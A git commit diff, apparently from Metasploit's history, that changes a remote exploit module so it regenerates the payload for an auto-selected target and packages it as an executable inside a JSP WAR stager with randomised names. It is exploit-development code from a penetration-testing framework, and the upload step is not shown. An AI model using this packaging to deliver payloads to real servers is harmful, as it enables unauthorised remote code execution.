fix auto-target exe generation

git-svn-id: file:///home/svn/framework3/trunk@10688 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-10-14 21:26:05 +00:00
parent 4e14aa1842
commit b49e81300a
1 changed files with 15 additions and 3 deletions

View File

@ -179,18 +179,30 @@ class Metasploit3 < Msf::Exploit::Remote
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
# We must regenerate the payload in case our auto-magic changed something.
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
else
print_status("Using manually select target \"#{mytarget.name}\"")
p = payload
end
# Generate the WAR containing the EXE containing the payload
jsp_name = rand_text_alphanumeric(4+rand(32-4))
exe = generate_payload_exe
war = Msf::Util::EXE.to_jsp_war(exe, :jsp_name => jsp_name)
app_base = rand_text_alphanumeric(4+rand(32-4))
query_str = "?path=/" + app_base
# Generate an EXE from the payload
exe = generate_payload_exe(
{
:code => p.encoded,
:arch => mytarget.arch,
:platform => mytarget.platform
})
# Encapsulate it in a WAR stager
war = Msf::Util::EXE.to_jsp_war(exe, :jsp_name => jsp_name)
#
# UPLOAD
#